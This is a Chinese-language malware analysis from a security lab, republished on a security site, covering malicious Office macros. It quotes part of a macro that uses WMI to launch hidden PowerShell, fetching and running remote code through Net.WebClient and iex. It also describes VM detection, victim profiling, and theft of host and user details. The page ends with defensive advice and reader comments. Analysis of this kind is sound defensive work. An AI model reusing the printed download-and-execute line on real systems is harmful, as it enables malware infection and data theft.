& & Set objProcess = GetObject(“winmgmts:\\” & strComputer & “\root\cimv2:Win32_Process”)
& & objProcess.Create o & ” -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient).” & x1 & abcdef & “(‘‘) | iex } else {(new-object Net.WebClient).” & x1 & abcdef & “(‘‘) | iex}”, Null, objConfig, intProcessID
其中的对应32位系统的cache文件的内容如下:
我们对Shellcode进行简单分析:
1. 在内存中解密,生成一个PE文件,在内存中展开跳到入口点处执行,将PE文件的.BSS区段进行解码,解码算法如下:
解密后的结果为:
2.判断是不是64位系统&
&判断虚拟机
&3. 用FindFirstUrlCacheEntry和FindNextUrlCacheEntry遍历IE临时文件目录 ,用于判断用户是否是攻击者的目标用户
&4.计算用户和电脑信息的HASH
随后B03938处创建线程进行下面的动作
判断ipconfig -all 命令中是否有.edu、school、hospital、colledge、health、nurse等字符串
调用cmd /C “”ipconfig -all & C:\DOCUME~1\yyyyy\LOCALS~1\Temp\xxxx.TMP(xxx代表随机数)生成文件,检测.edu、school、hospital、colledge、health、nurse等字符串
5. 遍历系统中的进程,检测有否指定hash的进程正在运行,
从IE缓存中查找用户是不是访问过这些网址:
通过WININET.FindFirstUrlCacheEntryW & WININET.FindNextUrlCacheEntryW WININET.FindCloseUrlCache
得到net view命令返回值中是否有pos、store、shop、sale等字符串
&发送用户信息,并下载相对应的恶意程序:
其中,用这种手法的恶意样本还有如下:
样本中的宏代码下载执行信息收集类的Powershell脚本,很可能是某些针对性攻击的前导。
样本MD5:f7c3c7df2e7761eceff991bf457ed5b9
提取出来的宏代码为:
下载一个名为Get-Info-2.ps1的脚本,脚本功能是将本机的IP地址、domainname、username、usbid等发送到远端服务器中。
天眼实验室再次提醒用户,此类恶意软件主要依赖通过微软的Office文档传播,用户应该确保宏不默认启用,提防任何来自不受信任来源的文件,当打开文件系统提示要使用宏时务必慎重。同时要尽量选用可靠的安全软件进行防范,如无必要不要关闭安全软件,当发现系统出现异常情况,应及时查杀木马,尽可能避免各类恶意代码的骚扰。
* 作者:360天眼实验室(企业账号),转载请注明来自FreeBuf黑客与极客()
我想说,所有的恶意代码,在我眼里,都是辣鸡
非专业码农.
楼上说的对~~~
补天到现在没给我钱。。。 都2个月了!!!
以后不会在补天放洞了。还是wooyun准。
研究的不错,小伙子们
必须您当前尚未登录。
必须(保密)
360天眼安全实验室
关注我们 分享每日精选文章

我要回帖

更多关于 消防远程监控系统厂家 的文章

 

随机推荐